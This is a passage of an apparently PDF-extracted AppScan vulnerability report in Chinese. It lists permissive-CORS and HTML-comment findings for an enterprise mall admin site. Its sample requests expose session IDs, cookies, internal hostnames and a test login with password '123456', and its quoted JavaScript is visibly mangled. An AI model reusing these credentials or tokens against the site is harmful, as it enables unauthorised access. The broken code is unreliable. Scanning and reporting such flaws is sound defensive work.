推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/js/commons.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
\texttt{Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1; account=setest01; account=set
enterpriseId=55; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 1261
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:58 GMT
function getBrand() {
         if($("input").hasClass("brand_se_entry")){
                  var test = $(".brand se entry").bigAutocomplete({
                      width: 'auto',
                      id:['brandid','opcode','brandname'],
                      highlight: true,
                      ajax:{
                       url: 'http://test.vr.weilian.cn:40884/goodsRestApi/getGoodsListToBrand',
                       type : "GET",
                       success: function(data){
                      var result = eval(data);
                       var Str = result;
                      var datas = [];
                       for (var i = 0; i < Str.data.length; <math>i++) {
                       datas[i] = [];
                       console.info(Str.data[i]);
                       datas[i].push(Str.data[i].brandid);
                      datas[i].push(Str.data[i].opcode);
                      datas[i].push(Str.data[i].brandname);
                       test.setData(datas,true); // 设置显示的内容,并更新
                       test.setTitle(['品牌ID','拼音码','品牌名称']); // 设置标题
                       error: function (msg) {
                      alert ("查询品牌接口异常")
                  });
         }
```

问题 50 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	低 (低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/dictionaryInit.js
实体:	dictionaryInit.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/js/dictionaryInit.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 16994
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:59 GMT
$(function() {
       dictInit();// 数据字典初始化
 apiUrlInit();//
                       公共数据初始化
       添加自定义校验
    $.validator.addMethod("telephone", function (value) {
        var partten = /^1\d{10}$/;
        if($.trim(value)=='')
               return true;
        if (partten.test(value)) {
         return true;
        } else {
         return false;
   }, '请输入手机号');
});
window.publicData = {};
window.localData = {};
// 判断对象是否为空。
function isEmptyObject(obj) {
 for ( var key in obj) {
        return false;
 return true;
// 数据字典初始化
```

```
function dictInit() {
 //TODO
               暂时ip写法
  var dictionaryUrl='';
  $.aiax({
         async : false,
type : "GET",
         dataType : 'json',
         url: "/user/getModularPrefix",
         error : function(data) {
                // layer.msg("
                                       获取api的url数据失败");
         success : function(data) {
          dictionaryUrl= data.dictionaryUrl;
          if (isEmptyObject(localData)) {
                        $.ajax({
                                async : false,
                                type : "GET",
                                dataType : 'json',
                                url :dictionaryUrl,
                                error : function(data) {
                                        // layer.msg("获取数据词典失败");
                                success : function(data) {
                                        localData = data;
                        });
 });
 var keyword;
 $("select[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         selectInitBykeyword($(this), window.localData, keyword);
 });
 $("input[keyword][type='text']").not(".select checkbox").each(function() {
         keyword = $(this).attr("keyword");
         inputShowText($(this), window.localData, keyword);
 $("input[keyword][type='checkbox']").each(function() {
         keyword = $(this).attr("keyword");
         checkboxInitBykeyword($(this), window.localData, keyword);
 });
 $("td[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
 });
 $("pp[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
 });
 $("option[keyword]").each(function() {
         keyword = $(this).attr("keyword");
         tdShowText($(this), window.localData, keyword);
 });
 $("input[keyword][type='text'].select checkbox").each(function() {
         keyword = $(this).attr("keyword");
         selectCheckboxInit($(this), window.localData, keyword);
 trClick4Radio();
 loadThousandsSeparator();
function writeObj(obj){
  var description = "";
  for(var i in obj){
  var property=obj[i];
description+=i+" = "+property+"\n";
  alert(description);
// 根据数据字典生成下拉复选框
```

```
function selectCheckboxInit(input, localData, keyword) {
 var name = input.prop("name");
 input.prop("name", name + "show");
 input.removeAttr("keyword");
var inputHide = '<input type="hidden" name="' + name</pre>
               + '" class="select_checkbox"/>';
var prefixDiv = '<div class="Select_main"><div class="Select_check"><div</pre>
class="checkbox_w">';
var suffixDiv = '</div></div></div></div><div class="Select_but"><input type="button" class="btn-bd")</pre>
sure" value="确定" />'
+ '<input type="button" class="btn-bd offs" value=" var labels = "";
                                                                        关闭" /></div></div>';
 var div;
 var filterValue = input.attr("filterValue");
 var filterValues = [];
 if (filterValue != undefined)filterValues = filterValue.split(",");
 $.each(localData.data[0], function(key, objArr) {
        if (key == keyword) {
                $.each(objArr, function(id, obj) {
                        if ($.inArray(obj.ddlid.toString(), filterValues) > -1)return
true;
                        })
 });
 div = prefixDiv + labels + suffixDiv;
 input.parent().append(div);
 input.before(inputHide);
         下拉显示定位
 var position = input.offset();
 input.next().offset({
        // top:position.top+22,
        left : position.left,
 });
hidee();
// 根据数据字典生成select
function selectInitBykeyword(select, localData, keyword) {
 var options = "";
 var value = select.attr("value");
var filt
. . .
. . .
. . .
```

问题 **51 / 51** roc

过度许可的 CORS 访问测试	
严重性:	€
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login.html
实体:	login.html (Page)
	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /login.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: sessionId=ee7290de32e02a6f31d21e51ab01d02b; enterpriseCode=SUNEEE; enterpriseId=55;
account=setest01; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Content-Length: 38
Cache-Control: max-age=0
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/x-www-form-urlencoded
reminder-email=test%40altoromutual.com
HTTP/1 1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
   <!-- The following icons can be replaced with your own, they are used by desktop and mobile
hrowsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon76.pnq"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
```

```
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
         color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Log
. . .
```

变体-|2/2

差异: cookie 已从请求除去: ee7290de32e02a6f31d21e51ab01d02b

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /login.html?login-username=setest01&login-password=123456&login-remember-me=on HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/login.html
Cookie: enterpriseCode=SUNEEE; enterpriseId=55; account=setest01; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
  <stvle>
```

```
.error {
         color: red;
         .toptitle{font-family:"
                                      微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px
. . .
. . .
. . .
```

问题 1 / 6

TOC

HTML 注释敏感信息泄露	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	jQuery, Bootstrap.js, jQuery plugins and Custom JS code (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	程序员在 Web 页面上留下调试信息
固定值:	除去 HTML 注释中的敏感信息

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。

测试请求和响应:

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
\texttt{Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
<title>系统登录</title>
```

```
<meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
 pixelcave and published on Themeforest.">
     <meta name="author" content="pixelcave">
     <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
 user-scalable=no">
     <!-- Icons -->
     <!-- The following icons can be replaced with your own, they are used by desktop and mobile
 browsers -->
     <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/favicon.png">
     <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
 sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
 sizes="72x72">
     <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
 sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
 sizes="114x114">
     <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
 sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
 sizes="144x144">
     <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
 sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
 sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
     <!-- Bootstrap is included in its original form, unaltered -->
     <link rel="stylesheet" type="text/css"</pre>
 href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
  <link rel="stylesheet" href="css/font-awesome.min.css"/>
     <link rel="stylesheet" href="css/build.css"/>
     <!-- Related styles of various icon packs and plugins -->
     <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
     <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
     <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
     <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
 template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
 elements - must included last) -->
     <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
     <!-- END Stylesheets -->
     <style>
        .error {
          color: red;
                                        微软雅黑";font-size:16px;padding-top:10px;}
          .toptitle{font-family:"
          body{background-color:#F2F4F4;}
          #login-background{background-color:#730000;}
     </style>
     <!-- Modernizr (browser feature detection library) -->
     <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/modernizr/modernizr.min.js">
 </script>
     <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
 type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
 type="text/javascript" charset="utf-8"></script>
<body>
     <!-- Login Background -->
     <div id="login-background">
         <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image f
 . . .
 . . .
 . . .
<!-- END Login Container -->
```

问题 2 / 6 Toc

HTML 注释敏感信息泄露		
严重性:	参考	
CVSS 分数:	0.0	
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html	
实体:	Scroll to top link, initialized in js/app.js - scrollToTop() (Page)	
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置	
原因:	程序员在 Web 页面上留下调试信息	
固定值:	除去 HTML 注释中的敏感信息	

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
<head>
```

```
<meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
   <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <link href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"</pre>
rel="stylesheet">
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
       <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
        <div class="inner">
          <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
          <div class="preloader-spinner hidden-lt-ie10"></div>
        </div>
    </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
        <div id="sidebar">
          <!-- Sidebar Content -->
          <div class="sidebar-content">
          <!-- Brand -->
          <div class="account-box">
          <img class="nav-user-photo"</pre>
          src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
          <span id="userName"></span>
          <input type="hidden" id="userId" value="">
          <span class="arrow bottom"></span>
          <nav class="per_options">
          <!--个人设置-->
          <!-- You can also add the default color theme
          class="active">
          <a href="javascript:void(0)" class="themed-background-dark-default themed-border-</pre>
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
         <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"
          data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
          </1i>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
          data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
          <1i>>
          <a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
          data-theme="css/t
. . .
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         <!-- END Page Content -->
        </div>
    </div>
</dim
<!-- Scroll to top link, initialized in js/app.js - scrollToTop() -->
<a href="#" id="to-top"><i class="fa fa-angle-double-up"></i></a>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/plugins fix.js" type="text/javascript"</pre>
```

```
charset="utf-8"></script>
  <script src="http://sunui.scn.weilian.cn:12809/se/demo/build/main.min.js" type="text/javascript"
  charset="utf-8"></script>
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```

问题 **3** / **6** Toc

HTML 注释敏感信息泄露	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	<pre><script src="http://cdn.bootcss.com/require.js/2.3.3/require.min.js"></script> (Page)</pre>
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	程序员在 Web 页面上留下调试信息
固定值:	除去 HTML 注释中的敏感信息

差异:

推理: AppScan 发现了包含看似为敏感信息的 HTML 注释。 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
   <title>资源商城管理平台</title>
   <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
  <link rel="stylesheet" type="text/css"</pre>
```

```
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   rel="stylesheet">
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2"></div</pre>
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
       <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
        <div class="inner">
         <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
         <div class="preloader-spinner hidden-lt-ie10"></div>
       </div>
   </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
       <div id="sidebar">
         <!-- Sidebar Content -->
         <div class="sidebar-content">
         <!-- Brand -->
         <div class="account-box">
         <img class="nav-user-photo"</pre>
         src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
         <span id="userName"></span>
          <input type="hidden" id="userId" value="">
         <span class="arrow bottom"></span>
         </div>
         <nav class="per_options">
         <!--个人设置-->
         <!-- You can also add the default color theme
         class="active">
         <a href="javascript:void(0)" class="themed-background-dark-default themed-border-</pre>
default" data-theme="default" data-toggle="tooltip" title="Default Blue"></a>
         -->
         <1i>>
         <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"</pre>
